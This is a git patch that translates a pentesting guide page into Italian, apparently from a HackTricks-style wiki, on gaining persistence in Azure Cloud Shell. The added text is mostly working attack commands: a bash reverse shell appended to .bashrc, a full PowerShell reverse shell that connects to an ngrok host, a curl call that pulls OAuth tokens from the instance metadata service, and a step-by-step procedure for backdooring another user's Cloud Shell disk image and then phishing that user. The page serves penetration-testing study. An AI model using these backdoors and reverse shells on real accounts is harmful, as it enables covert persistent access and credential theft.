From 98287e1278781ce62056f53f375fb239ec1513b7 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 12 May 2025 19:25:34 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-persistence/az-cloud --- .../az-cloud-shell-persistence.md | 43 +++++++++++++++++-- 1 file changed, 40 insertions(+), 3 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index 2b228c8d8..604f838b2 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -7,16 +7,53 @@ Azure Cloud Shell offre accesso da riga di comando per gestire le risorse Azure con storage persistente e autenticazione automatica. Gli attaccanti possono sfruttare questo posizionando backdoor nella directory home persistente: * **Storage Persistente**: La directory home di Azure Cloud Shell è montata su una condivisione file Azure e rimane intatta anche dopo la fine della sessione. -* **Script di Avvio**: File come .bashrc vengono eseguiti automaticamente all'inizio di ogni sessione, consentendo un'esecuzione persistente quando il cloud shell si avvia. +* **Script di Avvio**: File come `.bashrc` o `config/PowerShell/Microsoft.PowerShell_profile.ps1` vengono eseguiti automaticamente all'inizio di ogni sessione, consentendo un'esecuzione persistente quando si avvia il cloud shell. Esempio di backdoor in .bashrc: ```bash -echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc +echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` -Questo backdoor può eseguire comandi anche 5 minuti dopo che la cloud shell è stata terminata dall'utente. +Questo backdoor può eseguire comandi anche 5 minuti dopo che la shell cloud è stata chiusa dall'utente. Inoltre, interroga il servizio di metadati di Azure per dettagli sull'istanza e token: ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` +### Cloud Shell Phishing + +Se un attaccante trova le immagini di altri utenti in un Storage Account a cui ha accesso in scrittura e lettura, sarà in grado di scaricare l'immagine, **aggiungere un backdoor bash e PS in essa**, e caricarla di nuovo nel Storage Account in modo che la prossima volta che l'utente accede alla shell, i **comandi verranno eseguiti automaticamente**. + +- **Scarica, backdoor e carica l'immagine:** +```bash +# Download image +mkdir /tmp/phishing_img +az storage file download-batch -d /tmp/phishing_img --account-name -s + +# Mount the image +mkdir /tmp/backdoor_img +sudo mount ./.cloudconsole/acc_carlos.img /tmp/backdoor_img +cd /tmp/backdoor_img + +# Create backdoor +mkdir .config +mkdir .config/PowerShell +touch .config/PowerShell/Microsoft.PowerShell_profile.ps1 +chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Bash backdoor +echo '(nohup /usr/bin/env /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc + +# PS backdoor +echo '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19838);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' >> .config/PowerShell/Microsoft.PowerShell_profile.ps1 + +# Unmount +cd /tmp +sudo umount /tmp/backdoor_img + +# Upload image +az storage file upload --account-name --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img" -s +``` +- **Quindi, phishingare l'utente per accedere a https://shell.azure.com/** + + {{#include ../../../banners/hacktricks-training.md}}